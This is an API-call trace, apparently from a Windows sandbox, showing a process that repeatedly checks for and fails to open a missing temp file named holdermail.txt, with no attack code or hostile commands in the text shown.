	[0088.989] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), fInfoLevelId=0x0, lpFileInformation=0x6bcee08 | out: lpFileInformation=0x6bcee08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0088.989] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0088.989] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce858, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0088.989] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0088.989] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0088.989] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0088.990] GetCurrentActCtx (in: lphActCtx=0x6bcee04 | out: lphActCtx=0x6bcee04*=0x6dbd24) returned 1
	[0088.990] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0088.990] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0088.990] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0088.990] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0088.990] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), fInfoLevelId=0x0, lpFileInformation=0x6bcee08 | out: lpFileInformation=0x6bcee08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0088.990] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0088.990] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce858, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0088.990] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0088.990] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0088.991] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0088.991] GetCurrentActCtx (in: lphActCtx=0x6bcee04 | out: lphActCtx=0x6bcee04*=0x6dbd24) returned 1
	[0088.991] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0088.991] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0088.991] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0088.991] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0088.991] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), fInfoLevelId=0x0, lpFileInformation=0x6bcee08 | out: lpFileInformation=0x6bcee08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0088.991] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0088.991] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce858, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0088.991] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0088.991] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0088.992] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0088.992] GetCurrentActCtx (in: lphActCtx=0x6bcee04 | out: lphActCtx=0x6bcee04*=0x6dbd24) returned 1
	[0088.992] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0088.992] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0088.992] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0088.992] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0088.992] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), fInfoLevelId=0x0, lpFileInformation=0x6bcee08 | out: lpFileInformation=0x6bcee08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0088.992] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0088.992] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce858, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0088.992] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0088.992] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0088.993] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0088.993] GetCurrentActCtx (in: lphActCtx=0x6bcee04 | out: lphActCtx=0x6bcee04*=0x6dbd24) returned 1
	[0088.993] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0088.993] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0088.994] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0088.994] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0088.994] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), fInfoLevelId=0x0, lpFileInformation=0x6bcee08 | out: lpFileInformation=0x6bcee08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0088.994] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0088.994] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce858, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0088.994] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0088.994] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0088.995] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0088.995] GetCurrentActCtx (in: lphActCtx=0x6bcee04 | out: lphActCtx=0x6bcee04*=0x6dbd24) returned 1
	[0088.995] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0088.995] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0088.995] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0088.995] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0088.995] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), fInfoLevelId=0x0, lpFileInformation=0x6bcee08 | out: lpFileInformation=0x6bcee08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0088.995] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0088.995] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce858, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0088.995] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0088.995] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0088.996] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0088.996] GetCurrentActCtx (in: lphActCtx=0x6bcee04 | out: lphActCtx=0x6bcee04*=0x6dbd24) returned 1
	[0088.996] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0088.996] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0088.996] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0088.996] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0088.996] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), fInfoLevelId=0x0, lpFileInformation=0x6bcee08 | out: lpFileInformation=0x6bcee08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0088.996] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0088.996] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce858, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0088.996] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0088.996] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0088.998] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0088.998] GetCurrentActCtx (in: lphActCtx=0x6bcee04 | out: lphActCtx=0x6bcee04*=0x6dbd24) returned 1
	[0088.998] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0088.998] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0088.998] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0088.998] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0088.998] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), fInfoLevelId=0x0, lpFileInformation=0x6bcee08 | out: lpFileInformation=0x6bcee08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0088.998] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0088.998] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce858, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0088.998] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0088.998] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0088.999] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0088.999] GetCurrentActCtx (in: lphActCtx=0x6bcee04 | out: lphActCtx=0x6bcee04*=0x6dbd24) returned 1
	[0088.999] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0088.999] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0089.000] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.000] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0089.000] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), fInfoLevelId=0x0, lpFileInformation=0x6bcee08 | out: lpFileInformation=0x6bcee08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0089.000] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0089.000] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce858, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.000] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0089.000] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0089.000] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0089.001] GetCurrentActCtx (in: lphActCtx=0x6bcee04 | out: lphActCtx=0x6bcee04*=0x6dbd24) returned 1
	[0089.001] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0089.001] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0089.001] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.001] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0089.001] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), fInfoLevelId=0x0, lpFileInformation=0x6bcee08 | out: lpFileInformation=0x6bcee08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0089.001] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0089.001] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce858, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.001] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0089.001] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0089.002] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0089.002] GetCurrentActCtx (in: lphActCtx=0x6bcee04 | out: lphActCtx=0x6bcee04*=0x6dbd24) returned 1
	[0089.002] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0089.002] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0089.002] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.002] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0089.002] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), fInfoLevelId=0x0, lpFileInformation=0x6bcee08 | out: lpFileInformation=0x6bcee08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0089.002] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0089.002] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce858, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.002] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0089.002] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0089.003] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0089.003] GetCurrentActCtx (in: lphActCtx=0x6bcee04 | out: lphActCtx=0x6bcee04*=0x6dbd24) returned 1
	[0089.003] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0089.003] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0089.003] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.003] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0089.003] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), fInfoLevelId=0x0, lpFileInformation=0x6bcee08 | out: lpFileInformation=0x6bcee08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0089.003] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
